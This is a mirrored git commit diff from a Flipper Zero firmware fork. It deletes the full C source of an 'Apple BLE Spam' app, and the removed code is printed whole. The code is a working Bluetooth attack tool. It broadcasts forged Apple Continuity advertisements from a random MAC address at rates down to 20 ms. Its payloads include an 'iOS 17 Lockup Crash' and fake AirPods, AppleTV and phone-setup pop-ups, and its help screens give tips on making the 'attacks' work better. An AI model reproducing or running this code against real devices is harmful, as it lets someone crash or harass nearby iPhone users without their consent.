mirror of
https://github.com/Next-Flip/Momentum-Firmware.git
synced 2026-05-13 21:08:36 -07:00
Apple BLE Spam -> BLE Spam (now modular!)
This commit is contained in:
@@ -1,837 +0,0 @@
|
|||||||
#include <gui/gui.h>
|
|
||||||
#include <gui/elements.h>
|
|
||||||
#include <furi_hal_bt.h>
|
|
||||||
#include <furi_hal_random.h>
|
|
||||||
#include <assets_icons.h>
|
|
||||||
#include "apple_ble_spam_icons.h"
|
|
||||||
|
|
||||||
#include "lib/continuity/continuity.h"
|
|
||||||
|
|
||||||
typedef struct {
|
|
||||||
const char* title;
|
|
||||||
const char* text;
|
|
||||||
bool random;
|
|
||||||
ContinuityMsg msg;
|
|
||||||
} Payload;
|
|
||||||
|
|
||||||
// Hacked together by @Willy-JL
|
|
||||||
// Custom adv logic by @Willy-JL (idea by @xMasterX)
|
|
||||||
// iOS 17 Crash by @ECTO-1A
|
|
||||||
// Extensive testing and research on behavior and parameters by @Willy-JL and @ECTO-1A
|
|
||||||
// Structures docs and Nearby Action IDs from https://github.com/furiousMAC/continuity/
|
|
||||||
// Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
|
|
||||||
// Controversy explained at https://willyjl.dev/blog/the-controversy-behind-apple-ble-spam
|
|
||||||
|
|
||||||
static Payload
|
|
||||||
payloads[] =
|
|
||||||
{
|
|
||||||
#if false
|
|
||||||
{.title = "AirDrop",
|
|
||||||
.text = "",
|
|
||||||
.random = false,
|
|
||||||
.msg =
|
|
||||||
{
|
|
||||||
.type = ContinuityTypeAirDrop,
|
|
||||||
.data = {.airdrop = {}},
|
|
||||||
}},
|
|
||||||
{.title = "Airplay Target",
|
|
||||||
.text = "",
|
|
||||||
.random = false,
|
|
||||||
.msg =
|
|
||||||
{
|
|
||||||
.type = ContinuityTypeAirplayTarget,
|
|
||||||
.data = {.airplay_target = {}},
|
|
||||||
}},
|
|
||||||
{.title = "Handoff",
|
|
||||||
.text = "",
|
|
||||||
.random = false,
|
|
||||||
.msg =
|
|
||||||
{
|
|
||||||
.type = ContinuityTypeHandoff,
|
|
||||||
.data = {.handoff = {}},
|
|
||||||
}},
|
|
||||||
{.title = "Tethering Source",
|
|
||||||
.text = "",
|
|
||||||
.random = false,
|
|
||||||
.msg =
|
|
||||||
{
|
|
||||||
.type = ContinuityTypeTetheringSource,
|
|
||||||
.data = {.tethering_source = {}},
|
|
||||||
}},
|
|
||||||
{.title = "Mobile Backup",
|
|
||||||
.text = "",
|
|
||||||
.random = false,
|
|
||||||
.msg =
|
|
||||||
{
|
|
||||||
.type = ContinuityTypeNearbyAction,
|
|
||||||
.data = {.nearby_action = {.flags = 0xC0, .type = 0x04}},
|
|
||||||
}},
|
|
||||||
{.title = "Watch Setup",
|
|
||||||
.text = "",
|
|
||||||
.random = false,
|
|
||||||
.msg =
|
|
||||||
{
|
|
||||||
.type = ContinuityTypeNearbyAction,
|
|
||||||
.data = {.nearby_action = {.flags = 0xC0, .type = 0x05}},
|
|
||||||
}},
|
|
||||||
{.title = "Internet Relay",
|
|
||||||
.text = "",
|
|
||||||
.random = false,
|
|
||||||
.msg =
|
|
||||||
{
|
|
||||||
.type = ContinuityTypeNearbyAction,
|
|
||||||
.data = {.nearby_action = {.flags = 0xC0, .type = 0x07}},
|
|
||||||
}},
|
|
||||||
{.title = "WiFi Password",
|
|
||||||
.text = "",
|
|
||||||
.random = false,
|
|
||||||
.msg =
|
|
||||||
{
|
|
||||||
.type = ContinuityTypeNearbyAction,
|
|
||||||
.data = {.nearby_action = {.flags = 0xC0, .type = 0x08}},
|
|
||||||
}},
|
|
||||||
{.title = "Repair",
|
|
||||||
.text = "",
|
|
||||||
.random = false,
|
|
||||||
.msg =
|
|
||||||
{
|
|
||||||
.type = ContinuityTypeNearbyAction,
|
|
||||||
.data = {.nearby_action = {.flags = 0xC0, .type = 0x0A}},
|
|
||||||
}},
|
|
||||||
{.title = "Apple Pay",
|
|
||||||
.text = "",
|
|
||||||
.random = false,
|
|
||||||
.msg =
|
|
||||||
{
|
|
||||||
.type = ContinuityTypeNearbyAction,
|
|
||||||
.data = {.nearby_action = {.flags = 0xC0, .type = 0x0C}},
|
|
||||||
}},
|
|
||||||
{.title = "Developer Tools Pairing Request",
|
|
||||||
.text = "",
|
|
||||||
.random = false,
|
|
||||||
.msg =
|
|
||||||
{
|
|
||||||
.type = ContinuityTypeNearbyAction,
|
|
||||||
.data = {.nearby_action = {.flags = 0xC0, .type = 0x0E}},
|
|
||||||
}},
|
|
||||||
{.title = "Answered Call",
|
|
||||||
.text = "",
|
|
||||||
.random = false,
|
|
||||||
.msg =
|
|
||||||
{
|
|
||||||
.type = ContinuityTypeNearbyAction,
|
|
||||||
.data = {.nearby_action = {.flags = 0xC0, .type = 0x0F}},
|
|
||||||
}},
|
|
||||||
{.title = "Ended Call",
|
|
||||||
.text = "",
|
|
||||||
.random = false,
|
|
||||||
.msg =
|
|
||||||
{
|
|
||||||
.type = ContinuityTypeNearbyAction,
|
|
||||||
.data = {.nearby_action = {.flags = 0xC0, .type = 0x10}},
|
|
||||||
}},
|
|
||||||
{.title = "DD Ping",
|
|
||||||
.text = "",
|
|
||||||
.random = false,
|
|
||||||
.msg =
|
|
||||||
{
|
|
||||||
.type = ContinuityTypeNearbyAction,
|
|
||||||
.data = {.nearby_action = {.flags = 0xC0, .type = 0x11}},
|
|
||||||
}},
|
|
||||||
{.title = "DD Pong",
|
|
||||||
.text = "",
|
|
||||||
.random = false,
|
|
||||||
.msg =
|
|
||||||
{
|
|
||||||
.type = ContinuityTypeNearbyAction,
|
|
||||||
.data = {.nearby_action = {.flags = 0xC0, .type = 0x12}},
|
|
||||||
}},
|
|
||||||
{.title = "Companion Link Proximity",
|
|
||||||
.text = "",
|
|
||||||
.random = false,
|
|
||||||
.msg =
|
|
||||||
{
|
|
||||||
.type = ContinuityTypeNearbyAction,
|
|
||||||
.data = {.nearby_action = {.flags = 0xC0, .type = 0x14}},
|
|
||||||
}},
|
|
||||||
{.title = "Remote Management",
|
|
||||||
.text = "",
|
|
||||||
.random = false,
|
|
||||||
.msg =
|
|
||||||
{
|
|
||||||
.type = ContinuityTypeNearbyAction,
|
|
||||||
.data = {.nearby_action = {.flags = 0xC0, .type = 0x15}},
|
|
||||||
}},
|
|
||||||
{.title = "Remote Auto Fill Pong",
|
|
||||||
.text = "",
|
|
||||||
.random = false,
|
|
||||||
.msg =
|
|
||||||
{
|
|
||||||
.type = ContinuityTypeNearbyAction,
|
|
||||||
.data = {.nearby_action = {.flags = 0xC0, .type = 0x16}},
|
|
||||||
}},
|
|
||||||
{.title = "Remote Display",
|
|
||||||
.text = "",
|
|
||||||
.random = false,
|
|
||||||
.msg =
|
|
||||||
{
|
|
||||||
.type = ContinuityTypeNearbyAction,
|
|
||||||
.data = {.nearby_action = {.flags = 0xC0, .type = 0x17}},
|
|
||||||
}},
|
|
||||||
{.title = "Nearby Info",
|
|
||||||
.text = "",
|
|
||||||
.random = false,
|
|
||||||
.msg =
|
|
||||||
{
|
|
||||||
.type = ContinuityTypeNearbyInfo,
|
|
||||||
.data = {.nearby_info = {}},
|
|
||||||
}},
|
|
||||||
#endif
|
|
||||||
{.title = "Lockup Crash",
|
|
||||||
.text = "iOS 17, locked, long range",
|
|
||||||
.random = false,
|
|
||||||
.msg =
|
|
||||||
{
|
|
||||||
.type = ContinuityTypeCustomCrash,
|
|
||||||
.data = {.custom_crash = {}},
|
|
||||||
}},
|
|
||||||
{.title = "Random Action",
|
|
||||||
.text = "Spam shuffle Nearby Actions",
|
|
||||||
.random = true,
|
|
||||||
.msg =
|
|
||||||
{
|
|
||||||
.type = ContinuityTypeNearbyAction,
|
|
||||||
.data = {.nearby_action = {.flags = 0xC0, .type = 0x00}},
|
|
||||||
}},
|
|
||||||
{.title = "Random Pair",
|
|
||||||
.text = "Spam shuffle Proximity Pairs",
|
|
||||||
.random = true,
|
|
||||||
.msg =
|
|
||||||
{
|
|
||||||
.type = ContinuityTypeProximityPair,
|
|
||||||
.data = {.proximity_pair = {.prefix = 0x00, .model = 0x0000}},
|
|
||||||
}},
|
|
||||||
{.title = "AppleTV AutoFill",
|
|
||||||
.text = "Banner, unlocked, long range",
|
|
||||||
.random = false,
|
|
||||||
.msg =
|
|
||||||
{
|
|
||||||
.type = ContinuityTypeNearbyAction,
|
|
||||||
.data = {.nearby_action = {.flags = 0xC0, .type = 0x13}},
|
|
||||||
}},
|
|
||||||
{.title = "AppleTV Connecting...",
|
|
||||||
.text = "Modal, unlocked, long range",
|
|
||||||
.random = false,
|
|
||||||
.msg =
|
|
||||||
{
|
|
||||||
.type = ContinuityTypeNearbyAction,
|
|
||||||
.data = {.nearby_action = {.flags = 0xC0, .type = 0x27}},
|
|
||||||
}},
|
|
||||||
{.title = "Join This AppleTV?",
|
|
||||||
.text = "Modal, unlocked, spammy",
|
|
||||||
.random = false,
|
|
||||||
.msg =
|
|
||||||
{
|
|
||||||
.type = ContinuityTypeNearbyAction,
|
|
||||||
.data = {.nearby_action = {.flags = 0xBF, .type = 0x20}},
|
|
||||||
}},
|
|
||||||
{.title = "AppleTV Audio Sync",
|
|
||||||
.text = "Banner, locked, long range",
|
|
||||||
.random = false,
|
|
||||||
.msg =
|
|
||||||
{
|
|
||||||
.type = ContinuityTypeNearbyAction,
|
|
||||||
.data = {.nearby_action = {.flags = 0xC0, .type = 0x19}},
|
|
||||||
}},
|
|
||||||
{.title = "AppleTV Color Balance",
|
|
||||||
.text = "Banner, locked",
|
|
||||||
.random = false,
|
|
||||||
.msg =
|
|
||||||
{
|
|
||||||
.type = ContinuityTypeNearbyAction,
|
|
||||||
.data = {.nearby_action = {.flags = 0xC0, .type = 0x1E}},
|
|
||||||
}},
|
|
||||||
{.title = "Setup New iPhone",
|
|
||||||
.text = "Modal, locked",
|
|
||||||
.random = false,
|
|
||||||
.msg =
|
|
||||||
{
|
|
||||||
.type = ContinuityTypeNearbyAction,
|
|
||||||
.data = {.nearby_action = {.flags = 0xC0, .type = 0x09}},
|
|
||||||
}},
|
|
||||||
{.title = "Setup New Random",
|
|
||||||
.text = "Modal, locked, glitched",
|
|
||||||
.random = false,
|
|
||||||
.msg =
|
|
||||||
{
|
|
||||||
.type = ContinuityTypeNearbyAction,
|
|
||||||
.data = {.nearby_action = {.flags = 0x40, .type = 0x09}},
|
|
||||||
}},
|
|
||||||
{.title = "Transfer Phone Number",
|
|
||||||
.text = "Modal, locked",
|
|
||||||
.random = false,
|
|
||||||
.msg =
|
|
||||||
{
|
|
||||||
.type = ContinuityTypeNearbyAction,
|
|
||||||
.data = {.nearby_action = {.flags = 0xC0, .type = 0x02}},
|
|
||||||
}},
|
|
||||||
{.title = "HomePod Setup",
|
|
||||||
.text = "Modal, unlocked",
|
|
||||||
.random = false,
|
|
||||||
.msg =
|
|
||||||
{
|
|
||||||
.type = ContinuityTypeNearbyAction,
|
|
||||||
.data = {.nearby_action = {.flags = 0xC0, .type = 0x0B}},
|
|
||||||
}},
|
|
||||||
{.title = "AirPods Pro",
|
|
||||||
.text = "Modal, spammy (auto close)",
|
|
||||||
.random = false,
|
|
||||||
.msg =
|
|
||||||
{
|
|
||||||
.type = ContinuityTypeProximityPair,
|
|
||||||
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0E20}},
|
|
||||||
}},
|
|
||||||
{.title = "Beats Solo 3",
|
|
||||||
.text = "Modal, spammy (stays open)",
|
|
||||||
.random = false,
|
|
||||||
.msg =
|
|
||||||
{
|
|
||||||
.type = ContinuityTypeProximityPair,
|
|
||||||
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0620}},
|
|
||||||
}},
|
|
||||||
{.title = "AirPods Max",
|
|
||||||
.text = "Modal, laggy (stays open)",
|
|
||||||
.random = false,
|
|
||||||
.msg =
|
|
||||||
{
|
|
||||||
.type = ContinuityTypeProximityPair,
|
|
||||||
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0A20}},
|
|
||||||
}},
|
|
||||||
{.title = "Beats Flex",
|
|
||||||
.text = "Modal, laggy (stays open)",
|
|
||||||
.random = false,
|
|
||||||
.msg =
|
|
||||||
{
|
|
||||||
.type = ContinuityTypeProximityPair,
|
|
||||||
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x1020}},
|
|
||||||
}},
|
|
||||||
{.title = "Airtag",
|
|
||||||
.text = "Modal, unlocked",
|
|
||||||
.random = false,
|
|
||||||
.msg =
|
|
||||||
{
|
|
||||||
.type = ContinuityTypeProximityPair,
|
|
||||||
.data = {.proximity_pair = {.prefix = 0x05, .model = 0x0055}},
|
|
||||||
}},
|
|
||||||
{.title = "Hermes Airtag",
|
|
||||||
.text = "",
|
|
||||||
.random = false,
|
|
||||||
.msg =
|
|
||||||
{
|
|
||||||
.type = ContinuityTypeProximityPair,
|
|
||||||
.data = {.proximity_pair = {.prefix = 0x05, .model = 0x0030}},
|
|
||||||
}},
|
|
||||||
{.title = "Setup New AppleTV",
|
|
||||||
.text = "Modal, unlocked",
|
|
||||||
.random = false,
|
|
||||||
.msg =
|
|
||||||
{
|
|
||||||
.type = ContinuityTypeNearbyAction,
|
|
||||||
.data = {.nearby_action = {.flags = 0xC0, .type = 0x01}},
|
|
||||||
}},
|
|
||||||
{.title = "Pair AppleTV",
|
|
||||||
.text = "Modal, unlocked",
|
|
||||||
.random = false,
|
|
||||||
.msg =
|
|
||||||
{
|
|
||||||
.type = ContinuityTypeNearbyAction,
|
|
||||||
.data = {.nearby_action = {.flags = 0xC0, .type = 0x06}},
|
|
||||||
}},
|
|
||||||
{.title = "HomeKit AppleTV Setup",
|
|
||||||
.text = "Modal, unlocked",
|
|
||||||
.random = false,
|
|
||||||
.msg =
|
|
||||||
{
|
|
||||||
.type = ContinuityTypeNearbyAction,
|
|
||||||
.data = {.nearby_action = {.flags = 0xC0, .type = 0x0D}},
|
|
||||||
}},
|
|
||||||
{.title = "AppleID for AppleTV?",
|
|
||||||
.text = "Modal, unlocked",
|
|
||||||
.random = false,
|
|
||||||
.msg =
|
|
||||||
{
|
|
||||||
.type = ContinuityTypeNearbyAction,
|
|
||||||
.data = {.nearby_action = {.flags = 0xC0, .type = 0x2B}},
|
|
||||||
}},
|
|
||||||
{.title = "AirPods",
|
|
||||||
.text = "Modal, spammy (auto close)",
|
|
||||||
.random = false,
|
|
||||||
.msg =
|
|
||||||
{
|
|
||||||
.type = ContinuityTypeProximityPair,
|
|
||||||
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0220}},
|
|
||||||
}},
|
|
||||||
{.title = "AirPods 2nd Gen",
|
|
||||||
.text = "Modal, spammy (auto close)",
|
|
||||||
.random = false,
|
|
||||||
.msg =
|
|
||||||
{
|
|
||||||
.type = ContinuityTypeProximityPair,
|
|
||||||
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0F20}},
|
|
||||||
}},
|
|
||||||
{.title = "AirPods 3rd Gen",
|
|
||||||
.text = "Modal, spammy (auto close)",
|
|
||||||
.random = false,
|
|
||||||
.msg =
|
|
||||||
{
|
|
||||||
.type = ContinuityTypeProximityPair,
|
|
||||||
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x1320}},
|
|
||||||
}},
|
|
||||||
{.title = "AirPods Pro 2nd Gen",
|
|
||||||
.text = "Modal, spammy (auto close)",
|
|
||||||
.random = false,
|
|
||||||
.msg =
|
|
||||||
{
|
|
||||||
.type = ContinuityTypeProximityPair,
|
|
||||||
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x1420}},
|
|
||||||
}},
|
|
||||||
{.title = "Powerbeats 3",
|
|
||||||
.text = "Modal, spammy (stays open)",
|
|
||||||
.random = false,
|
|
||||||
.msg =
|
|
||||||
{
|
|
||||||
.type = ContinuityTypeProximityPair,
|
|
||||||
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0320}},
|
|
||||||
}},
|
|
||||||
{.title = "Powerbeats Pro",
|
|
||||||
.text = "Modal, spammy (auto close)",
|
|
||||||
.random = false,
|
|
||||||
.msg =
|
|
||||||
{
|
|
||||||
.type = ContinuityTypeProximityPair,
|
|
||||||
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0B20}},
|
|
||||||
}},
|
|
||||||
{.title = "Beats Solo Pro",
|
|
||||||
.text = "",
|
|
||||||
.random = false,
|
|
||||||
.msg =
|
|
||||||
{
|
|
||||||
.type = ContinuityTypeProximityPair,
|
|
||||||
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0C20}},
|
|
||||||
}},
|
|
||||||
{.title = "Beats Studio Buds",
|
|
||||||
.text = "Modal, spammy (auto close)",
|
|
||||||
.random = false,
|
|
||||||
.msg =
|
|
||||||
{
|
|
||||||
.type = ContinuityTypeProximityPair,
|
|
||||||
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x1120}},
|
|
||||||
}},
|
|
||||||
{.title = "Beats X",
|
|
||||||
.text = "Modal, spammy (stays open)",
|
|
||||||
.random = false,
|
|
||||||
.msg =
|
|
||||||
{
|
|
||||||
.type = ContinuityTypeProximityPair,
|
|
||||||
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0520}},
|
|
||||||
}},
|
|
||||||
{.title = "Beats Studio 3",
|
|
||||||
.text = "Modal, spammy (stays open)",
|
|
||||||
.random = false,
|
|
||||||
.msg =
|
|
||||||
{
|
|
||||||
.type = ContinuityTypeProximityPair,
|
|
||||||
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0920}},
|
|
||||||
}},
|
|
||||||
{.title = "Beats Studio Pro",
|
|
||||||
.text = "Modal, spammy (stays open)",
|
|
||||||
.random = false,
|
|
||||||
.msg =
|
|
||||||
{
|
|
||||||
.type = ContinuityTypeProximityPair,
|
|
||||||
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x1720}},
|
|
||||||
}},
|
|
||||||
{.title = "Beats Fit Pro",
|
|
||||||
.text = "Modal, spammy (auto close)",
|
|
||||||
.random = false,
|
|
||||||
.msg =
|
|
||||||
{
|
|
||||||
.type = ContinuityTypeProximityPair,
|
|
||||||
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x1220}},
|
|
||||||
}},
|
|
||||||
{.title = "Beats Studio Buds+",
|
|
||||||
.text = "Modal, spammy (auto close)",
|
|
||||||
.random = false,
|
|
||||||
.msg =
|
|
||||||
{
|
|
||||||
.type = ContinuityTypeProximityPair,
|
|
||||||
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x1620}},
|
|
||||||
}},
|
|
||||||
};
|
|
||||||
|
|
||||||
#define PAYLOAD_COUNT ((signed)COUNT_OF(payloads))
|
|
||||||
|
|
||||||
struct {
|
|
||||||
uint8_t count;
|
|
||||||
ContinuityData** datas;
|
|
||||||
} randoms[ContinuityTypeCount] = {0};
|
|
||||||
|
|
||||||
uint16_t delays[] = {
|
|
||||||
20,
|
|
||||||
50,
|
|
||||||
100,
|
|
||||||
150,
|
|
||||||
200,
|
|
||||||
300,
|
|
||||||
400,
|
|
||||||
500,
|
|
||||||
750,
|
|
||||||
1000,
|
|
||||||
1500,
|
|
||||||
2000,
|
|
||||||
2500,
|
|
||||||
3000,
|
|
||||||
4000,
|
|
||||||
5000,
|
|
||||||
};
|
|
||||||
|
|
||||||
typedef struct {
|
|
||||||
bool resume;
|
|
||||||
bool advertising;
|
|
||||||
uint8_t delay;
|
|
||||||
uint8_t size;
|
|
||||||
uint8_t* packet;
|
|
||||||
Payload* payload;
|
|
||||||
FuriThread* thread;
|
|
||||||
uint8_t mac[GAP_MAC_ADDR_SIZE];
|
|
||||||
int8_t index;
|
|
||||||
} State;
|
|
||||||
|
|
||||||
static int32_t adv_thread(void* ctx) {
|
|
||||||
State* state = ctx;
|
|
||||||
Payload* payload = state->payload;
|
|
||||||
ContinuityMsg* msg = &payload->msg;
|
|
||||||
ContinuityType type = msg->type;
|
|
||||||
|
|
||||||
while(state->advertising) {
|
|
||||||
if(payload->random) {
|
|
||||||
uint8_t random_i = rand() % randoms[type].count;
|
|
||||||
memcpy(&msg->data, randoms[type].datas[random_i], sizeof(msg->data));
|
|
||||||
}
|
|
||||||
continuity_generate_packet(msg, state->packet);
|
|
||||||
furi_hal_bt_custom_adv_set(state->packet, state->size);
|
|
||||||
furi_thread_flags_wait(true, FuriFlagWaitAny, delays[state->delay]);
|
|
||||||
}
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
static void stop_adv(State* state) {
|
|
||||||
state->advertising = false;
|
|
||||||
furi_thread_flags_set(furi_thread_get_id(state->thread), true);
|
|
||||||
furi_thread_join(state->thread);
|
|
||||||
furi_hal_bt_custom_adv_stop();
|
|
||||||
}
|
|
||||||
|
|
||||||
static void start_adv(State* state) {
|
|
||||||
state->advertising = true;
|
|
||||||
furi_thread_start(state->thread);
|
|
||||||
uint16_t delay = delays[state->delay];
|
|
||||||
furi_hal_bt_custom_adv_start(delay, delay, 0x00, state->mac, 0x1F);
|
|
||||||
}
|
|
||||||
|
|
||||||
static void toggle_adv(State* state, Payload* payload) {
|
|
||||||
if(state->advertising) {
|
|
||||||
stop_adv(state);
|
|
||||||
if(state->resume) furi_hal_bt_start_advertising();
|
|
||||||
state->payload = NULL;
|
|
||||||
free(state->packet);
|
|
||||||
state->packet = NULL;
|
|
||||||
state->size = 0;
|
|
||||||
} else {
|
|
||||||
state->size = continuity_get_packet_size(payload->msg.type);
|
|
||||||
state->packet = malloc(state->size);
|
|
||||||
state->payload = payload;
|
|
||||||
furi_hal_random_fill_buf(state->mac, sizeof(state->mac));
|
|
||||||
state->resume = furi_hal_bt_is_active();
|
|
||||||
furi_hal_bt_stop_advertising();
|
|
||||||
start_adv(state);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
#define PAGE_MIN (-5)
|
|
||||||
#define PAGE_MAX PAYLOAD_COUNT
|
|
||||||
enum {
|
|
||||||
PageApps = PAGE_MIN,
|
|
||||||
PageDelay,
|
|
||||||
PageDistance,
|
|
||||||
PageProximityPair,
|
|
||||||
PageNearbyAction,
|
|
||||||
PageStart = 0,
|
|
||||||
PageEnd = PAYLOAD_COUNT - 1,
|
|
||||||
PageAbout = PAGE_MAX,
|
|
||||||
};
|
|
||||||
|
|
||||||
static void draw_callback(Canvas* canvas, void* ctx) {
|
|
||||||
State* state = ctx;
|
|
||||||
const char* back = "Back";
|
|
||||||
const char* next = "Next";
|
|
||||||
switch(state->index) {
|
|
||||||
case PageStart - 1:
|
|
||||||
next = "Spam";
|
|
||||||
break;
|
|
||||||
case PageStart:
|
|
||||||
back = "Help";
|
|
||||||
break;
|
|
||||||
case PageEnd:
|
|
||||||
next = "About";
|
|
||||||
break;
|
|
||||||
case PageEnd + 1:
|
|
||||||
back = "Spam";
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
canvas_set_font(canvas, FontSecondary);
|
|
||||||
canvas_draw_icon(canvas, 3, 4, &I_apple_10px);
|
|
||||||
canvas_draw_str(canvas, 14, 12, "Apple BLE Spam");
|
|
||||||
|
|
||||||
switch(state->index) {
|
|
||||||
case PageApps:
|
|
||||||
canvas_set_font(canvas, FontBatteryPercent);
|
|
||||||
canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
|
|
||||||
elements_text_box(
|
|
||||||
canvas,
|
|
||||||
4,
|
|
||||||
16,
|
|
||||||
120,
|
|
||||||
48,
|
|
||||||
AlignLeft,
|
|
||||||
AlignTop,
|
|
||||||
"\e#Some Apps\e# interfere\n"
|
|
||||||
"with the attacks, stay on\n"
|
|
||||||
"homescreen for best results",
|
|
||||||
false);
|
|
||||||
break;
|
|
||||||
case PageDelay:
|
|
||||||
canvas_set_font(canvas, FontBatteryPercent);
|
|
||||||
canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
|
|
||||||
elements_text_box(
|
|
||||||
canvas,
|
|
||||||
4,
|
|
||||||
16,
|
|
||||||
120,
|
|
||||||
48,
|
|
||||||
AlignLeft,
|
|
||||||
AlignTop,
|
|
||||||
"\e#Delay\e# is time between\n"
|
|
||||||
"attack attempts (top right),\n"
|
|
||||||
"keep 20ms for best results",
|
|
||||||
false);
|
|
||||||
break;
|
|
||||||
case PageDistance:
|
|
||||||
canvas_set_font(canvas, FontBatteryPercent);
|
|
||||||
canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
|
|
||||||
elements_text_box(
|
|
||||||
canvas,
|
|
||||||
4,
|
|
||||||
16,
|
|
||||||
120,
|
|
||||||
48,
|
|
||||||
AlignLeft,
|
|
||||||
AlignTop,
|
|
||||||
"\e#Distance\e# is limited, attacks\n"
|
|
||||||
"work under 1 meter but a\n"
|
|
||||||
"few are marked 'long range'",
|
|
||||||
false);
|
|
||||||
break;
|
|
||||||
case PageProximityPair:
|
|
||||||
canvas_set_font(canvas, FontBatteryPercent);
|
|
||||||
canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
|
|
||||||
elements_text_box(
|
|
||||||
canvas,
|
|
||||||
4,
|
|
||||||
16,
|
|
||||||
120,
|
|
||||||
48,
|
|
||||||
AlignLeft,
|
|
||||||
AlignTop,
|
|
||||||
"\e#Proximity Pair\e# attacks\n"
|
|
||||||
"keep spamming but work at\n"
|
|
||||||
"very close range",
|
|
||||||
false);
|
|
||||||
break;
|
|
||||||
case PageNearbyAction:
|
|
||||||
canvas_set_font(canvas, FontBatteryPercent);
|
|
||||||
canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
|
|
||||||
elements_text_box(
|
|
||||||
canvas,
|
|
||||||
4,
|
|
||||||
16,
|
|
||||||
120,
|
|
||||||
48,
|
|
||||||
AlignLeft,
|
|
||||||
AlignTop,
|
|
||||||
"\e#Nearby Actions\e# work one\n"
|
|
||||||
"time then need to lock and\n"
|
|
||||||
"unlock the phone",
|
|
||||||
false);
|
|
||||||
break;
|
|
||||||
case PageAbout:
|
|
||||||
canvas_set_font(canvas, FontBatteryPercent);
|
|
||||||
canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "About");
|
|
||||||
elements_text_box(
|
|
||||||
canvas,
|
|
||||||
4,
|
|
||||||
16,
|
|
||||||
122,
|
|
||||||
48,
|
|
||||||
AlignLeft,
|
|
||||||
AlignTop,
|
|
||||||
"App+Spam by \e#WillyJL\e# XFW\n"
|
|
||||||
"IDs and Crash by \e#ECTO-1A\e#\n"
|
|
||||||
"Continuity by \e#furiousMAC\e#\n"
|
|
||||||
" Version \e#1.2\e#",
|
|
||||||
false);
|
|
||||||
break;
|
|
||||||
default: {
|
|
||||||
if(state->index < 0 || state->index > PAYLOAD_COUNT - 1) break;
|
|
||||||
const Payload* payload = &payloads[state->index];
|
|
||||||
char str[32];
|
|
||||||
|
|
||||||
canvas_set_font(canvas, FontBatteryPercent);
|
|
||||||
snprintf(str, sizeof(str), "%ims", delays[state->delay]);
|
|
||||||
canvas_draw_str_aligned(canvas, 116, 12, AlignRight, AlignBottom, str);
|
|
||||||
canvas_draw_icon(canvas, 119, 6, &I_SmallArrowUp_3x5);
|
|
||||||
canvas_draw_icon(canvas, 119, 10, &I_SmallArrowDown_3x5);
|
|
||||||
|
|
||||||
canvas_set_font(canvas, FontBatteryPercent);
|
|
||||||
snprintf(
|
|
||||||
str,
|
|
||||||
sizeof(str),
|
|
||||||
"%02i/%02i: %s",
|
|
||||||
state->index + 1,
|
|
||||||
PAYLOAD_COUNT,
|
|
||||||
continuity_get_type_name(payload->msg.type));
|
|
||||||
canvas_draw_str(canvas, 4 - (state->index < 19 ? 1 : 0), 21, str);
|
|
||||||
|
|
||||||
canvas_set_font(canvas, FontPrimary);
|
|
||||||
canvas_draw_str(canvas, 4, 32, payload->title);
|
|
||||||
|
|
||||||
canvas_set_font(canvas, FontSecondary);
|
|
||||||
canvas_draw_str(canvas, 4, 46, payload->text);
|
|
||||||
|
|
||||||
elements_button_center(canvas, state->advertising ? "Stop" : "Start");
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if(state->index > PAGE_MIN) {
|
|
||||||
elements_button_left(canvas, back);
|
|
||||||
}
|
|
||||||
if(state->index < PAGE_MAX) {
|
|
||||||
elements_button_right(canvas, next);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
static void input_callback(InputEvent* input, void* ctx) {
|
|
||||||
FuriMessageQueue* input_queue = ctx;
|
|
||||||
if(input->type == InputTypeShort || input->type == InputTypeLong ||
|
|
||||||
input->type == InputTypeRepeat) {
|
|
||||||
furi_message_queue_put(input_queue, input, 0);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
int32_t apple_ble_spam(void* p) {
|
|
||||||
UNUSED(p);
|
|
||||||
for(uint8_t payload_i = 0; payload_i < COUNT_OF(payloads); payload_i++) {
|
|
||||||
if(payloads[payload_i].random) continue;
|
|
||||||
randoms[payloads[payload_i].msg.type].count++;
|
|
||||||
}
|
|
||||||
for(ContinuityType type = 0; type < ContinuityTypeCount; type++) {
|
|
||||||
if(!randoms[type].count) continue;
|
|
||||||
randoms[type].datas = malloc(sizeof(ContinuityData*) * randoms[type].count);
|
|
||||||
uint8_t random_i = 0;
|
|
||||||
for(uint8_t payload_i = 0; payload_i < COUNT_OF(payloads); payload_i++) {
|
|
||||||
if(payloads[payload_i].random) continue;
|
|
||||||
if(payloads[payload_i].msg.type == type) {
|
|
||||||
randoms[type].datas[random_i++] = &payloads[payload_i].msg.data;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
State* state = malloc(sizeof(State));
|
|
||||||
state->thread = furi_thread_alloc();
|
|
||||||
